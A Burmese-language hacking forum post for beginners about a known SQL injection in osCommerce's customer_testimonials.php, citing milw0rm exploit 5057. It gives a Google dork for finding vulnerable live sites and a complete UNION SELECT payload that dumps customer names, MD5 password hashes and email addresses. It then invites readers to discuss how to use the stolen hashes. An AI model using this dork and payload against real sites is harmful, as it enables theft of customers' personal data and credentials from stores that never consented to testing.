Security ကို ေလ့လာတယ့္ လူေတြရွိတယ္။ တစ္ခ်ိဳ႕က hacker ျဖစ္ခ်င္လို႕။ လြန္ခဲ့တယ့္ ႏွစ္ပိုင္းကတည္းက online community ေတြက Basic TuT ေတြဖတ္ျပီး လိုက္လုပ္ၾကည့္၊ ရသြားရင္ အဲေလာက္နဲ႕ေက်နပ္ျပီး TuT ေနာက္တစ္ခုထပ္ရွာ လိုက္လုပ္ၾကည့္နဲ႕ လည္ပတ္ေနတယ့္ သူေတြရွိပါတယ္။ Knowledge ပိုင္းမွာ အတိုင္းအတာ တစ္ခုထိ ေကာင္းေပမယ့္ Knowledge ေတြကို ဘယ္လို လက္ေတြ႕မွာ Apply ျပန္လုပ္ၾကသလည္းဆိုတာမ်ိဳး၊ ကိုယ့္ဦးေႏွာက္နဲ႕ကို ဆက္လုပ္ဆိုတာမ်ိဳးၾကရင္ အင္ အယ္ ျဖစ္ကုန္တတ္ၾကတယ္။
က်ေနာ္တို႕ ဒီမွာ TuT ေတြကိုပဲျဖစ္ျဖစ္ တစ္ခုခု စမ္းၾကည့္လို႕ရသြားရင္ ေရွ႕ကို ဘာဆက္လုပ္ၾကမလည္းဆိုတာမ်ိဳးေလး စဥ္းစားၾကည့္ၾကရေအာင္။
က်ေနာ္ လြန္ခဲ့တယ့္ သုံးပတ္ေလာက္က online မွာၾကဳံခဲ့တာေလးတစ္ခုကို အေျခခံျပီး ေျပာခ်င္ပါတယ္။ က်ေနာ္နဲ႕ သိတာ ေတာ္ေတာ္ၾကာျပီျဖစ္တယ့္ ညီတစ္ေယာက္က က်ေနာ့ကို URL တစ္ခုလာ paste လုပ္ျပတယ္။
customer_testimonials.php?testimonial_id ဆိုျပီးျမင္ေတာ့ က်ေနာ္သိလိုက္ပါတယ္။ milw0rm က OsCommerce component flaw ၾကီးဆိုတာ။ ( ၾကည့္ခ်င္ရင္ ၾကည့္ဖို႕ milw0rm exploit ID 5057 ပါ) OsCommerce ရဲ့ component တစ္ခုက Sql injection flaw ျဖစ္ေနတာပါ။ Customer tables က Customer ID ၊ Email ၊ Password အစရွိသျဖင့္ ဆြဲၾကည့္လို႕ရပါတယ္။ ဒါေပမယ့္ Password က MD5 hash အေနနဲ႕ ျပတာပါ။
ဘာေျပာေနပါလိမ့္လို႕ ထင္မယ့္ သူေတြအတြက္ပါ။
[You must be registered and logged in to see this link.] Google မွာ inurl:"customer_testimonials.php" လို႕ရွာ ေတြ႕တယ့္ထဲက တစ္ခုကို ဖြင့္လိုက္။ customer_testimonials.php ဆိုတယ့္ ေနရာကေနစလို႕customer_testimonials.php?testimonial_id=99999+union+select+1,2,concat(customers_lastname,0x3a,customers_password,0x3a,customers_email_address),4,5,6,7,8+from+customers/*
လို႕ replace လုပ္လိုက္။ /* နဲ႕မရရင္ -- နဲ႕ အဆုံးသပ္ပါ။ ဒါဆို Page မွာ Customer last name, password , email address ေတြျပလိမ့္မယ္
သူက က်ေနာ့ကို အဲဒီလို page ေလးတစ္ခုလာျပတယ္။ သူ hack လိုက္ျပီတယ့္။ က်ေနာ္သူ႕ကို ႐ိုး႐ိုးေလးျပန္ေမးမိတာပါ။ ဘာဆက္လုပ္လို႕ရလည္း လို႕။ ဒီ username ၊ MD5 hash password ၾကီးေတြကေန ဘာဆက္လုပ္မွာလည္းလို႕ ။ သူ 'အင္' ဆိုျပီး ရပ္သြားတာ၊ ခုထိ က်ေနာ္ကို စကားျပန္မေျပာေသးဘူး။ မခ်ီးက်ဴးပဲ ဘုေျပာလိုက္သလိုျဖစ္သြားသလား၊ ဒါမွမဟုတ္ က်ေနာ္ေမးလိုက္တာကို ေျဖဖို႕ သူၾကိဳးစားေနသလား က်ေနာ္မသိပါဘူး။
ကဲ က်ေနာ္အေပၚမွာ milw0rm ကဟာေရာ ဘယ္လိုလုပ္လည္းဆိုတာေလးပါေျပာထားတယ္။ အဲမွာ password hash ေတြၾကည့္ျပီး ပီတိမျဖစ္ပါနဲ႕။ အဲဒါေတြကို ဘယ္လို အသုံးခ်မလည္း စဥ္းစားျပီး
ဒီေနရာမွာ ေဆြးေႏြးၾက ျငင္းၾကရေအာင္။ ဆက္လုပ္လို႕ရတာေတြ အမ်ားၾကီးပါ။
ဆရာေတြအတြက္မဟုတ္ပါဘူး၊ ေလ့လာတုန္းလူေတြ စဥ္းစားဖို႕ေပးတာပါ။